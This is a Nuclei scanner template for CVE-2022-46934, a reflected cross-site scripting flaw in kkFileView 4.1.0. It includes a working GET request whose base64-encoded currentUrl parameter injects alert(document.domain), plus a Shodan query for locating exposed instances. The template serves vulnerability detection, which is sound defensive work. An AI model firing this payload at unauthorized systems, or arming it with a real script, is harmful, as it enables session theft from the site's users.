48 lines
1.7 KiB
YAML
48 lines
1.7 KiB
YAML
id: CVE-2022-46934
|
|
|
|
info:
|
|
name: kkFileView 4.1.0 - Cross-Site Scripting
|
|
author: r3Y3r53
|
|
severity: medium
|
|
description: |
|
|
kkFileView 4.1.0 is susceptible to cross-site scripting via the url parameter at /controller/OnlinePreviewController.java. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
|
|
remediation: |
|
|
Upgrade to a patched version of kkFileView or apply the necessary security patches provided by the vendor.
|
|
reference:
|
|
- https://github.com/kekingcn/kkFileView/issues/411
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2022-46934
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
|
|
cvss-score: 6.1
|
|
cve-id: CVE-2022-46934
|
|
cwe-id: CWE-79
|
|
epss-score: 0.00085
|
|
epss-percentile: 0.3536
|
|
cpe: cpe:2.3:a:keking:kkfileview:4.1.0:*:*:*:*:*:*:*
|
|
metadata:
|
|
verified: true
|
|
max-request: 1
|
|
vendor: keking
|
|
product: kkfileview
|
|
shodan-query: http.html:"kkFileView"
|
|
tags: xss,cve,cve2022,kkfileview
|
|
|
|
http:
|
|
- method: GET
|
|
path:
|
|
- "{{BaseURL}}/picturesPreview?currentUrl=aHR0cDovLyIpO2FsZXJ0KGRvY3VtZW50LmRvbWFpbik7Ly8=&urls"
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
words:
|
|
- document.getElementById("http://");alert(document.domain);//").click();
|
|
- viewer.min.css
|
|
condition: and
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|
|
|
|
# digest: 4a0a004730450221009c94fdeb393f48c4375352ff7a6b9428678c330d2be35d5dc814c35d3ad09b4602200412fe93ff095d195b142b35d803e14c1861f98bef0422bd84983f7132dc0f17:922c64590222798bb761d5b6d8e72950
|